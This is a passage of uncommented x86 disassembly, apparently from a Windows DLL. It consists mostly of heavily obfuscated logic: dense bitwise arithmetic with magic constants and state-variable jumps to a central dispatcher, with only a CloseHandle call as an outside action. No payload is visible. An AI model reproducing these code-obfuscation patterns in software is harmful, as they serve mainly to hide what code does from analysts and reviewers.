and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov edx, eax
xor dl, 1
mov ch, dl
and ch, al
xor dl, ch
xor ch, 1
or ch, al
xor ch, 1
or ch, dl
mov dh, ch
xor dh, 1
mov dl, dh
and dl, ch
xor dl, 1
or dl, dh
xor dl, 1
or dl, ch
mov dh, cl
xor dh, ah
or ah, cl
xor ah, 1
or ah, dh
mov bl, ah
xor bl, 1
mov ch, dh
xor ch, 1
and dh, ah
or ah, ch
and ch, bl
or ch, dh
xor ch, 1
mov dh, ah
xor dh, ch
or ch, ah
mov ah, dl
xor ah, 1
xor ch, 1
or ch, dh
and dl, ah
xor dl, 1
mov dh, ah
xor dh, dl
or dl, ah
xor dl, 1
or dl, dh
mov ah, ch
xor ah, 1
and ah, ch
xor ah, 1
mov dh, ah
xor dh, ch
or ah, ch
mov ebx, edx
xor bl, 1
xor ah, 1
or ah, dh
mov ch, bl
and ch, dl
xor ch, 1
or ch, dl
mov dh, ah
xor dh, 1
xor ch, 1
or ch, bl
mov dl, dh
and dl, ah
xor dh, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, dh
xor dl, ch
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
mov al, cl
mov ch, ah
xor ch, cl
and ch, ah
and cl, ah
xor ah, 1
xor al, 1
and al, ah
or cl, al
or cl, ch
mov eax, ecx
xor al, 1
mov ah, cl
mov ch, dl
and cl, dl
xor dl, 1
and ah, dl
and ch, al
or ch, ah
mov ah, ch
xor ah, dl
and ah, ch
and dl, al
or cl, dl
mov al, ah
xor al, cl
or cl, ah
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test cl, 1
mov edi, 0xbd6664e9
mov ecx, 0xa7dacb21
cmovne edi, ecx
test al, 1
cmove edi, ecx
test dl, 1
mov eax, 0xbd6664e9
cmove edi, eax
jmp 0x10008b80
cmp edi, 0x7972d1e4
je 0x1002482c
cmp edi, 0x7c8915be
jne 0x10008b80
mov edi, 0xae012ed5
jmp 0x10008b80
mov eax, dword [0x10047900]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov edx, esi
mov ebp, esi
and edx, 0x6b08e34c
mov esi, ecx
mov eax, ecx
mov edi, ecx
and edi, 0x94f71cb3
or edi, edx
mov edx, edi
xor edx, 0x10161413
and edx, 0x3b1ef71f
xor edi, 0x40000040
and edi, 0xc4e108e0
or edi, edx
mov ebx, edi
xor ebx, 0x3b1ef71f
and ebx, edi
and esi, 0x58e2044b
mov dword [esp], ebp
mov edi, ebp
and edi, 0xa71dfbb4
or edi, esi
mov edx, edi
xor edx, 0xa71dfbb4
xor edi, 0x400401
and edi, 0x834844a1
mov esi, edx
and esi, 0x7cb7bb5e
or esi, edi
xor esi, 0x47a94c41
and edx, 0xc4e108e0
or edx, esi
xor edx, ebx
and ebx, edx
not edx
or edx, ebx
mov esi, edx
xor esi, 0x3b1ef71f
mov edi, esi
or edi, 0x9f02c8e0
mov ebx, edx
xor ebx, 0x1b26f01a
and ebx, esi
and edi, 0xbf22cfe4
and edx, 0x180001
or edx, edi
mov edi, ebx
not edi
or esi, edi
and edi, 0xbf22cfe4
and ebx, 0x40dd301b
or ebx, edi
xor ebx, edx
not esi
or esi, ebx
not ebx
and ebx, 0xdfc7f8fa
and esi, 0x20380704
lea edx, [ebx + esi]
add esi, ebx
inc esi
and eax, 0x4fa03b0d
mov edi, ebp
and edi, 0xb05fc4f2
or edi, eax
mov eax, edi
xor eax, 0x80462
xor edi, 0x920230d
or edi, 0xf6939880
mov ebx, edi
and ebx, 0xe856d195
and eax, 0x128266a
or eax, ebx
mov ebx, ebp
xor ebx, 0x96c677f
and ebx, ebp
mov ebp, ebx
not ebp
or edi, ebp
and ebp, 0xe856d195
and ebx, 0x17a92e6a
or ebx, ebp
xor ebx, eax
not edi
or edi, ebx
mov ebp, edi
xor ebp, 0xf6939880
mov eax, edi
xor eax, 0xf6939881
and eax, ebp
xor edi, 0x96c677e
and edi, 0xfffffffe
and ebp, 1
or ebp, edi
or ebp, eax
mov eax, ebp
not eax
and eax, 0x6e505136
and ebp, 0x91afaec9
or ebp, eax
mov eax, ebp
xor eax, 0x91afaec9
mov edi, ebp
xor edi, 0x6e505136
xor ebp, 0x57eb32d2
and ebp, edi
mov ebx, edi
and ebx, 0x518e23d7
mov edi, eax
and edi, 0xae71dc28
or edi, ebx
mov ebx, esi
not ebx
xor edi, 0xae71dc28
or edi, esi
and esi, 0xc6400c13
xor edx, 0x39bb63e4
and edx, ebx
and ebx, 0x49008
or ebx, esi
and eax, 0x39bb63e4
or eax, ebp
mov esi, ebx
xor esi, 0x40008
xor ebx, 0xfffb6ff7
mov ebp, ebx
and ebp, 0xa3bb9a80
and esi, 0x4444041a
or esi, ebp
mov ebp, edx
not ebp
or ebx, ebp
and ebp, 0xa3bb9a81
and edx, 0x5c44657e
or edx, ebp
xor edx, esi
mov esi, edi
not esi
not ebx
or ebx, edx
xor ebx, eax
mov edx, ebx
not edx
mov eax, esi
xor eax, edx
and eax, esi
and edi, 0x3070233f
and esi, 0xcf8fdcc0
or esi, edi
and edx, 0x3070233f
and ebx, 0xcf8fdcc0
or ebx, edx
xor ebx, esi
mov edi, eax
not edi
mov edx, ebx
not edx
mov esi, edi
and esi, 0x9c6b189f
and eax, 0x6394e760
or eax, esi
or edi, edx
and edx, 0x9c6b189f
and ebx, 0x6394e760
or ebx, edx
xor ebx, eax
not edi
or edi, ebx
mov ebp, edi
not ebp
mov edx, edi
or edx, 0x5a774947
mov esi, edi
xor esi, 0xa588b6b8
and esi, edi
and edi, 0x948f40c1
mov ebx, ebp
and ebx, 0x6b70bf3e
or ebx, edi
mov eax, edx
and eax, 0xe3d103d9
xor ebx, 0x6b70bf3e
or ebx, ebp
and ebp, 0x408b420
or ebp, eax
mov dword [esp + 4], ebp
mov eax, esi
not eax
or edx, eax
and eax, 0xe3d103d9
and esi, 0x1c2efc26
or esi, eax
mov edi, ecx
and edi, 0x977749a3
mov eax, dword [esp]
mov ebp, eax
and eax, 0x6888b65c
or eax, edi
xor eax, 0x5888cd38
or eax, ecx
mov dword [esp], eax
mov edi, ecx
xor esi, dword [esp + 4]
not edx
or edx, esi
mov ecx, edx
xor ecx, 0x4a010144
xor edx, 0xa5880418
and edx, 0xb5fe4c1b
and ecx, 0x4a01b3e4
or ecx, edx
mov edx, ecx
xor edx, 0x4a0082c0
xor ecx, 0x30984818
and ecx, 0x3099793c
and edx, 0xcf6686c3
or edx, ecx
mov esi, edx
xor esi, 0x81511c
xor edx, 0x432604c0
and edx, 0x733e2ce0
and esi, 0x8cc1d31f
or esi, edx
mov ecx, esi
xor ecx, 0x733e2ce0
xor esi, ecx
xor esi, 0x8cc1d31f
and esi, ebx
xor esi, ecx
mov edx, ecx
or edx, ebx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x62fc53c7
and esi, 0x9d03ac38
or esi, ebx
xor esi, edx
xor esi, 0x9d03ac38
or ecx, edx
not ecx
or ecx, esi
and ebp, 0xd7fbd042
and edi, 0x28042fbd
or edi, ebp
mov edx, edi
xor edx, 0x28042fbd
xor edi, 0x93514002
and edi, 0xb351471b
mov eax, edx
and eax, 0x4caeb8e4
or eax, edi
xor eax, 0x7caec380
and edx, 0xcfff849b
or edx, eax
mov eax, edx
not eax
mov esi, eax
mov edi, dword [esp]
xor esi, edi
and esi, eax
xor eax, edx
and eax, edi
xor eax, edx
mov edx, esi
not edx
mov edi, eax
not edi
mov ebx, edx
and ebx, 0x57080506
and esi, 0xa8f7faf9
or esi, ebx
or edx, edi
and edi, 0x57080506
and eax, 0xa8f7faf9
or eax, edi
xor eax, esi
not edx
or edx, eax
mov eax, edx
xor eax, 0xcfff849b
mov ebx, ecx
not ebx
mov edi, ecx
xor edx, 0x30007b64
mov ebp, edx
mov esi, eax
or ecx, edx
and edx, 0x379cde96
and eax, 0xc8632169
or eax, edx
xor eax, 0x379cde96
or eax, ebx
and ebx, 0x97e313cf
and edi, 0x681cec30
or edi, ebx
xor edi, 0x681cec30
and ebp, 0x7fd38871
and esi, 0x802c778e
or esi, ebp
xor esi, 0x802c778e
or esi, edi
not ecx
not eax
or eax, ecx
mov ecx, eax
and eax, esi
not esi
not ecx
mov edx, esi
xor edx, ecx
and edx, esi
and ecx, esi
or ecx, eax
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x82c54582
and edx, 0x7d3aba7d
or edx, edi
or eax, esi
and esi, 0x82c54582
and ecx, 0x7d3aba7d
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
mov esi, eax
xor esi, 0xc7f23f10
and esi, eax
and eax, 0x43115fe6
mov edi, edx
and edi, 0xbceea019
or edi, eax
xor edi, 0xbceea019
or edi, edx
and edx, 0xc5d23c00
and ecx, 0x2200310
or ecx, edx
mov eax, ecx
xor eax, 0x200200
xor ecx, 0xfddffcef
mov edx, esi
not edx
mov ebx, ecx
and ebx, 0xeed6d118
and eax, 0x1202e00
or eax, ebx
or ecx, edx
and edx, 0xeed6d118
and esi, 0x11292ee7
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
xor eax, 0x380dc0ef
xor ecx, 0xc7f23f10
mov edx, edi
not edx
mov esi, ecx
or esi, edi
and ecx, 0xab5c7662
and eax, 0x54a3899d
or eax, ecx
and edi, 0xab5c7662
and edx, 0x54a3899d
or edx, edi
xor edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xf7b63f67
and edx, 0x849c098
or edx, ecx
xor edx, esi
xor edx, 0x849c098
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x2028400
mov esi, ecx
or esi, 0xa9013194
and edx, 0xab03b594
and ecx, 0x4420426b
or ecx, edx
and esi, 0xab03b594
and eax, 0x10dc0800
or eax, esi
xor eax, ecx
mov ecx, eax
xor ecx, 0xd68800
mov edi, eax
xor edi, 0xed2173ff
mov edx, edi
and edx, 0x520916d3
and ecx, 0xadf6e92c
or ecx, edx
mov edx, ecx
xor edx, 0xadf6e92c
mov ebx, ecx
xor ebx, 0xc1893b25
and ebx, edx
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0xb929acf3
and ebx, 0x46d6530c
or ebx, ebp
or edi, 0x93802df6
xor eax, 0x560000
or esi, edi
and edi, 0xb929acf3
and eax, 0x44565208
or eax, edi
xor eax, ebx
not esi
or esi, eax
xor esi, 0x93802df6
xor ecx, 0x10091083
and ecx, 0x946911ab
mov edi, edx
and edi, 0x6b96ee54
or edi, ecx
xor edi, 0x6b96ee54
or edi, edx
not edi
or edi, esi
mov eax, edi
mov ecx, edi
xor ecx, 0x49d6cd80
and ecx, edi
not edi
or eax, 0xb629327f
mov edx, eax
and edx, 0x7ba05b65
and edi, 0x568480
or edi, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0x7ba05b65
and ecx, 0x845fa49a
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x2401226a
xor eax, 0x9500900
and eax, 0x9b781915
and ecx, 0x6487e6ea
or ecx, eax
mov eax, ecx
xor eax, 0x404024a
xor ecx, 0x89280101
and ecx, 0xe9abe5a1
and eax, 0x16541a5e
or eax, ecx
xor eax, 0x16541a5e
sete ch
setne ah
cmp dword [0x10047904], 0xa
setge dl
setl cl
mov al, ah
or al, cl
xor cl, ah
and cl, al
xor cl, 1
mov al, dl
xor al, cl
or cl, dl
xor cl, 1
or cl, al
xor al, 1
mov dh, al
xor dh, cl
or cl, al
xor cl, 1
or cl, dh
mov al, cl
xor al, 1
mov byte [esp], al
mov al, dl
inc al
and dl, al
xor dl, 1
mov dh, al
xor dh, dl
or dl, al
xor dl, 1
or dl, dh
mov ebx, edx
xor bl, 1
mov dh, bl
and dh, dl
xor dh, 1
mov al, dl
xor al, dh
or dh, dl
xor dh, 1
or dh, al
mov al, ah
xor al, dh
or dh, ah
xor dh, 1
or dh, al
and ah, bl
and dl, ch
or dl, ah
xor dl, 1
or dl, bl
mov ah, dl
xor ah, dh
or dl, dh
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
xor ah, 1
or ah, al
mov ch, ah
xor ch, 1
mov dl, ah
and dl, ch
xor dl, 1
mov dh, ah
or dh, dl
xor dh, 1
or dh, ch
mov al, dh
xor al, 1
xor dh, ah
or al, ch
xor al, 1
or al, dh
mov dh, al
xor dh, 1
mov ebx, eax
and bl, dh
xor bl, 1
or bl, dh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
mov dh, ch
xor dh, dl
or dl, ch
xor dl, 1
or dh, dl
mov bh, dh
and bh, bl
xor dh, 1
and dh, al
or dh, bh
mov bh, al
and bh, bl
xor bh, 1
or bh, bl
xor bh, 1
or bh, al
xor bh, ch
xor al, ah
or bl, ch
xor bl, 1
or bl, al
xor dh, 1
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and al, bh
xor bh, 1
mov bl, bh
xor bl, dh
and bl, bh
and dh, bh
or dh, al
xor bl, 1
xor dh, 1
mov al, bl
xor al, dh
or dh, bl
xor dh, 1
or dh, al
mov ebx, ecx
mov bh, byte [esp]
and bl, bh
xor bl, 1
mov al, bh
xor al, bl
or bl, bh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
and bl, dh
xor dh, 1
and al, dh
or bl, al
xor bl, 1
or bl, dh
mov al, cl
xor al, dh
and al, dh
mov dh, al
and al, bl
xor bl, 1
xor dh, 1
mov bh, bl
xor bh, dh
and bh, bl
and dh, bl
or dh, al
or dh, bh
or dl, ah
mov al, byte [esp]
and ah, al
and ch, cl
or ch, ah
xor ch, 1
or ch, al
xor ch, 1
and cl, dl
or cl, ch
xor dl, 1
and dl, al
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov ah, al
mov cl, dh
xor cl, 1
mov dl, cl
or dl, al
or al, dh
xor ah, 1
or cl, ah
xor dl, 1
xor al, 1
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test cl, 1
mov edi, 0x6911691b
mov ecx, 0x1d77f471
cmovne edi, ecx
test al, 1
cmove edi, ecx
test dl, 1
mov eax, 0x6911691b
cmove edi, eax
jmp 0x10008b80
mov edi, 0x42597b90
jmp 0x10008b80
cmp byte [esp + 0x39], 0
mov edi, 0x899dc6c8
mov eax, 0x65c5e9f2
cmovne edi, eax
jmp 0x10008b80
mov edi, 0x4f173a0b
jmp 0x10008b80
push dword [esp + 0x3c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x62428c9c
jmp 0x10008b80
mov eax, dword [0x10047900]
lea ebx, [eax + 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
mov ecx, eax
and ecx, 0x43f20105
mov eax, ebx
and eax, 0xbc0dfefa
or eax, ecx
xor eax, 0x2166f22a
or eax, edx
mov ecx, edx
mov dword [esp + 0xc], edx
and ecx, 0x7e25183c
mov esi, ebx
xor esi, 0x7e25183c
and esi, ebx
or esi, ecx
mov ecx, esi
xor ecx, 0x814a04c0
xor esi, 0x6204102c
and esi, 0x6294f32f
and ecx, 0x9d6b0cd0
or ecx, esi
mov esi, ecx
xor esi, 0x6294f32f
and esi, ecx
mov ecx, esi
not ecx
xor esi, ecx
and esi, eax
xor esi, ecx
or ecx, eax
mov eax, esi
not eax
mov edi, eax
and edi, 0x5b70942f
and esi, 0xa48f6bd0
or esi, edi
xor esi, ecx
xor esi, 0xa48f6bd0
or eax, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0x6294f32f
mov esi, ecx
or esi, 0x49200a40
mov edi, eax
xor edi, 0x84420400
xor eax, 0xc44f16b5
and eax, ecx
and esi, 0x6b392ad8
and edi, 0x84c2c502
or edi, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x6b392ad8
and eax, 0x94c6d527
or eax, esi
xor eax, edi
not ecx
or ecx, eax
not eax
and eax, 0x59241a65
and ecx, 0xa6dbe59a
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
xor esi, 0x538ee78b
and eax, esi
and esi, ecx
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0xc412301c
and eax, 0x3bedcfe2
or eax, edi
mov edi, esi
not edi
or ecx, edi
and edi, 0xc412301c
and esi, 0x3bedcfe2
or esi, edi
xor esi, eax
not ecx
or ecx, esi
and edx, 0x4d004600
mov dword [esp + 0x10], ebx
mov eax, ebx
and eax, 0x8290a0
or eax, edx
mov esi, eax
xor esi, 0x8280a0
xor eax, 0xff7d6f5f
mov edx, ebx
xor edx, 0x4d82d6a0
and edx, ebx
mov edi, eax
and edi, 0xae247b58
and esi, 0x418284a0
or esi, edi
mov edi, edx
not edi
or eax, edi
and edi, 0xae247b58
and edx, 0x51db84a7
or edx, edi
mov edi, ecx
and ecx, 0xfffffffe
xor ecx, 0x538ee78a
xor edx, esi
not eax
or eax, edx
mov esi, eax
xor esi, 0xb27d295f
xor eax, 0x4d82d6a0
mov edx, esi
and eax, 0xfffffffe
and esi, 1
or esi, eax
lea eax, [ecx + 1]
and edx, 0xfffffffe
or esi, edx
mov dword [esp], esi
mov ebp, eax
not ebp
mov edx, ecx
and ecx, 0x51b355e6
mov ebx, ebp
mov esi, ebp
and ebp, 0xae4caa18
or ebp, ecx
xor ebp, 0xa7e99d96
or ebp, eax
and eax, 0x50a00030
and ebx, 0x2101b204
or ebx, eax
xor ebx, 0x2101b205
or esi, 0x800c4540
and esi, 0x801c454a
or esi, ebx
xor edi, 0xc400800
or edx, 0x10000a
and edx, 0x801c454a
and edi, 0xe420880
or edi, edx
mov ebx, dword [esp]
mov eax, ebx
not eax
xor edi, esi
mov dword [esp + 8], edi
mov ecx, eax
and ecx, 0x35b21ea8
mov edx, ebx
and edx, 0xca4de157
or edx, ecx
mov ecx, ebx
and ecx, eax
mov esi, ecx
not esi
mov edi, eax
or edi, esi
and esi, 0x35b21ea8
and ecx, 0xca4de157
or ecx, esi
xor ecx, edx
not edi
or edi, ecx
mov dword [esp + 0x14], edi
mov esi, dword [esp + 8]
mov ebx, esi
xor ebx, 0x8e4e4dc0
xor esi, 0x71b1b23f
mov dword [esp + 4], esi
mov ecx, esi
and ecx, 0x84d61af8
mov edx, ebx
and edx, 0x7b29e506
or edx, ecx
xor edx, 0x728cd289
mov ecx, edx
xor ecx, esi
and ecx, edx
mov edx, edi
not edx
mov dword [esp + 0x1c], edx
and edx, 0xa2531903
and edi, 0x5dace6fc
or edi, edx
mov dword [esp + 0x20], edi
mov esi, dword [esp]
mov edx, esi
and edx, 0x752940a
and eax, 0xf8ad6bf5
or eax, edx
xor eax, 0xef7a385
xor esi, eax
and esi, eax
mov dword [esp], esi
mov edx, ecx
xor edx, 0x60461ea8
mov esi, edx
and edx, ecx
not ecx
and esi, ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0x6ec66e10
and esi, 0x913991ef
or esi, edi
mov edi, edx
not edi
or eax, edi
and edi, 0x6ec66e10
and edx, 0x913991ef
or edx, edi
xor edx, esi
not eax
or eax, edx
mov edx, ebp
not edx
mov esi, ebp
xor esi, 0x9fb9e156
and esi, edx
or edx, 0x9fb9e157
mov edi, edx
and edi, 0xd4c5f9b
or ecx, ebp
and ebp, 0x60020020
or ebp, edi
mov edi, esi
not edi
or edx, edi
and edi, 0xd4c5f9b
and esi, 0xf2b3a064
or esi, edi
xor esi, ebp
not edx
or edx, esi
xor edx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x48cd9e22
and edx, 0xb73261dd
or edx, esi
or eax, ecx
and ecx, 0xfffffffe
xor ecx, edx
xor ecx, 0xb73261dc
not eax
or eax, ecx
mov esi, dword [esp + 0x20]
xor esi, 0xabf62e8c
mov ebp, dword [esp + 0x1c]
or esi, ebp
mov edi, dword [esp]
mov edx, edi
not edx
mov ecx, esi
or ecx, edx
and edx, 0x995b30e3
and edi, 0x66a4cf1c
or edi, edx
xor edi, esi
mov edx, edi
xor edx, 0x66a4cf1c
xor edi, 0x995b30e3
mov esi, edi
and esi, 0xc856be64
and edx, 0x37a9419b
or edx, esi
xor edx, ecx
or edi, ecx
xor edx, 0x37a9419b
not edi
or edi, edx
xor edi, eax
mov dword [esp], edi
mov esi, dword [esp + 8]
xor esi, 0x56d7a534
mov ecx, esi
and ecx, dword [esp + 4]
mov eax, ecx
not eax
mov edx, eax
and edx, 0xbd0fc323
and ecx, 0x42f03cdc
or ecx, edx
and esi, ebx
mov edx, esi
not edx
or eax, edx
and edx, 0xbd0fc323
and esi, 0x42f03cdc
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov edi, dword [esp + 0x14]
mov ecx, edi
or ecx, 0x746060a
and ecx, 0xfc7e68a
mov edx, ebp
and edx, 0xd0180874
or edx, ecx
mov ecx, ebp
or ecx, 0x881e080
and ecx, 0xfc7e68a
mov esi, edi
and esi, 0x20201101
or esi, ecx
xor esi, edx
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
mov eax, ebx
and eax, 0x79670f9
mov edx, dword [esp + 4]
and edx, 0xf8698f06
or edx, eax
or ebx, edi
and edi, 0x79670f9
mov eax, ebp
and eax, 0xf8698f06
or eax, edi
xor eax, edx
not ebx
or ebx, eax
not ebx
or ebx, ecx
mov eax, ebx
not eax
mov edx, dword [esp]
mov ecx, edx
not ecx
and eax, ecx
or ecx, ebx
and ebx, edx
or ebx, eax
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x763b322c
and ebx, 0x89c4cdd3
or ebx, eax
xor ebx, ecx
xor ebx, 0x89c4cdd3
or ebp, ecx
not ebp
or ebp, ebx
mov edx, ebp
not edx
mov esi, edx
and esi, ebp
mov eax, ebp
and eax, 0x348082
mov ecx, edx
and ecx, 0x1c802c40
or ecx, eax
mov eax, esi
not eax
mov edi, ebp
or edi, eax
and eax, 0x348082
and esi, 0x1c802c40
or esi, eax
xor esi, ecx
mov ebx, dword [esp + 0xc]
mov eax, ebx
not edi
or edi, esi
not edi
or edi, 0xe34b533d
mov ecx, edx
and ecx, 0x1cb4acc2
and ebp, 0xe34b533d
or ebp, ecx
xor edx, ebp
and edx, ebp
mov ecx, edx
and edx, edi
not edi
not ecx
mov esi, edi
xor esi, ecx
and esi, edi
and ecx, edi
or ecx, edx
mov edi, esi
not edi
mov edx, edi
and edx, 0x6afc1cca
and esi, 0x1400a000
or esi, edx
mov edx, ecx
not edx
or edi, edx
and edx, 0x6afc1cca
and ecx, 0x9503e335
or ecx, edx
xor ecx, esi
not edi
or edi, ecx
mov ebp, edi
mov edx, edi
xor edx, 0x8b02ff56
and edx, edi
not edi
or ebp, 0x74fd00a9
mov ecx, ebp
and ecx, 0xfa1986cb
and edi, 0x1027914
or edi, ecx
mov ecx, edx
not ecx
or ebp, ecx
and ecx, 0xfa1986cb
and edx, 0x5e67934
or edx, ecx
xor edx, edi
mov edi, dword [esp + 0x10]
mov esi, edi
mov ecx, edi
and edi, 0xe88385c
and eax, 0xf177c7a3
or eax, edi
mov edi, ebx
xor eax, 0xf177c7a3
or eax, ebx
not ebp
or ebp, edx
mov dword [esp], ebp
and edi, 0x37a76e7b
and esi, 0xc8589184
or esi, edi
mov edx, esi
xor edx, 0x8180
xor esi, 0x3020820
or ebx, 0xc3520820
or esi, 0x2c014004
and esi, 0xef534824
and edx, 0x102485d0
or edx, esi
and ebx, 0xef534824
and ecx, 0x88320b
or ecx, ebx
xor ecx, edx
mov edx, ecx
xor edx, 0x2c89720f
xor ecx, 0xd0128080
and edx, 0x36c4f7a
and ecx, 0xfc93b085
or ecx, edx
mov edi, ecx
xor edi, 0x244762
xor ecx, 0x822084
and ecx, 0x3ca289c
and edi, 0xfc35d763
or edi, ecx
mov ebx, edi
xor ebx, 0x14310000
mov edx, edi
xor edx, 0x3ca289c
mov ecx, edx
and ecx, 0xeb8cd7ff
and ebx, 0x14732800
or ebx, ecx
mov esi, ebx
mov ecx, ebx
xor ecx, 0x600c0010
or ecx, 0x1e80010a
xor ebx, 0x30000
and ecx, 0x7e9c091a
and ebx, 0x30061
or ebx, ecx
mov ecx, eax
not ecx
xor esi, 0x14732800
or edx, 0x601c0810
xor edi, 0x8020d600
and edx, 0x7e9c091a
and edi, 0x8160f684
or edi, edx
mov ebp, eax
xor ebp, 0x9fe0f78e
and ebp, ecx
or ecx, 0x9fe0f78e
mov edx, ecx
and edx, 0x990d64d7
or esi, eax
and eax, 0x60120820
or eax, edx
mov edx, ebp
not edx
or ecx, edx
and edx, 0x990d64d7
and ebp, 0x66f29b28
or ebp, edx
xor ebp, eax
mov edx, dword [esp]
xor edx, 0x6849ac6b
not ecx
or ecx, ebp
xor ecx, edi
xor ecx, ebx
mov eax, esi
not eax
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xc91ef3f6
and ecx, 0x36e10c09
or ecx, ebx
or edi, esi
and esi, 0xc91ef3f6
and eax, 0x36e10c09
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov eax, dword [esp]
xor eax, 0x97b65394
mov dword [esp], eax
and eax, 0xc134ece5
mov ecx, edx
and ecx, 0x3ecb131a
or ecx, eax
mov eax, ecx
xor eax, 0x1441121a
xor ecx, 0x246425
and ecx, 0x2aae6525
and eax, 0xd5519ada
or eax, ecx
mov dword [esp + 4], eax
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x3e8b01f6
mov esi, edi
and esi, 0xc174fe09
or esi, eax
mov ecx, esi
xor ecx, 0x40444209
xor esi, 0x10010134
mov eax, esi
or eax, 0xdaa9400
and eax, 0xdab9d14
and ecx, 0x50444229
or ecx, eax
mov ebp, edi
xor ebp, 0x50454b3d
and ebp, edi
mov eax, ebp
not eax
or esi, eax
and eax, 0xdab9d14
and ebp, 0xf25462eb
or ebp, eax
xor ebp, ecx
not esi
or esi, ebp
not ebp
and ebp, 0xafbab4c2
and esi, 0x50454b3d
or esi, ebp
mov eax, dword [esp + 4]
xor eax, 0x2aae6525
mov dword [esp + 0xc], eax
mov ecx, dword [esp]
and ecx, 0x104410b4
and edx, 0x41820448
or edx, ecx
and eax, 0xae39eb03
xor edx, 0x104410b4
or edx, eax
mov ecx, esi
not ecx
mov dword [esp + 8], ecx
and ecx, 0x206800
mov eax, esi
and eax, 0xae198303
or eax, ecx
mov ecx, eax
xor ecx, 0x22190200
or ecx, 0x11460480
xor eax, 0x202800
and eax, 0x8c20a903
and ecx, 0x335f4680
or ecx, eax
and edi, 0x50c50901
mov eax, ebx
and eax, 0xaf3af6fe
or eax, edi
xor eax, 0xfefce202
and ebx, 0xae39eb03
or ebx, eax
mov eax, ecx
xor eax, 0x335f4680
xor ecx, 0x8420100b
mov ebp, eax
xor ebp, ebx
and ebp, eax
and ecx, 0x942c108b
and eax, 0x2a11eb00
or eax, ecx
xor eax, ebx
mov ecx, ebp
not ecx
mov edi, ecx
and edi, 0xfc8a213e
and ebp, 0x231ca01
or ebp, edi
mov edi, eax
xor edi, 0x6bd3ef74
xor eax, 0x942c108b
or ecx, eax
and eax, 0xfc8a213e
and edi, 0x375dec1
or edi, eax
xor edi, ebp
not ecx
or ecx, edi
mov eax, edx
not eax
mov edi, eax
and edi, 0xe2061b7b
and edx, 0x1df9e484
or edx, edi
mov edi, ecx
not edi
xor edx, edi
xor edx, 0x1df9e484
and edx, ecx
and edi, 0x18068303
and ecx, 0xe7f97cfc
or ecx, edi
xor ecx, 0x18068303
or ecx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0x260a7723
and edx, 0xd9f588dc
or edx, eax
xor edx, ecx
mov eax, edi
or eax, ecx
mov ebx, dword [esp + 4]
mov edi, ebx
xor ebx, 0xf1410bd9
mov ecx, dword [esp + 0xc]
and ebx, ecx
xor edx, 0xd9f588dc
not eax
or eax, edx
mov dword [esp], eax
mov eax, esi
xor eax, 0xdbef6efc
and eax, esi
mov ebp, esi
xor edi, 0x555190c0
and edi, 0x5d5ff1c5
and ecx, 0xa2a00e3a
or ecx, edi
mov edi, ecx
xor edi, 0xa2a00e3a
mov dword [esp + 4], edi
mov edx, dword [esp + 8]
and edx, 0xf14d3599
and ebp, 0xeb2ca66
or ebp, edx
mov esi, ecx
xor esi, 0x86b09f39
and esi, edi
mov edx, esi
not edx
mov edi, edx
and edi, 0xcfcf102b
and esi, 0x3030efd4
or esi, edi
mov edi, ebx
not edi
or edx, edi
and edi, 0xcfcf102b
and ebx, 0x3030efd4
or ebx, edi
xor ebx, esi
not edx
or edx, ebx
mov esi, ebp
mov dword [esp + 8], ebp
mov ebx, ebp
xor ebx, 0xeb2ca66
xor esi, 0x2aa25b65
and esi, ebx
mov edi, esi
not edi
mov ebp, edi
and ebp, 0xc836a42a
and esi, 0x37c95bd5
or esi, ebp
mov ebp, eax
not ebp
or edi, ebp
and ebp, 0xc836a42a
and eax, 0x37c95bd5
or eax, ebp
xor eax, esi
not edi
or edi, eax
xor edi, edx
xor ecx, 0x5d5ff1c5
mov eax, ecx
and eax, 0x104d841d
mov edx, dword [esp + 4]
and edx, 0xefb27be2
or edx, eax
mov eax, dword [esp + 8]
xor eax, 0xf14d3599
or ecx, eax
and eax, 0x104d841d
and ebx, 0xefb27be2
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
not eax
mov edx, edi
not edx
mov esi, edx
and esi, 0xb93ead95
and edi, 0x46c1526a
or edi, esi
or edx, ecx
and ecx, 0xb93ead95
and eax, 0x46c1526a
or eax, ecx
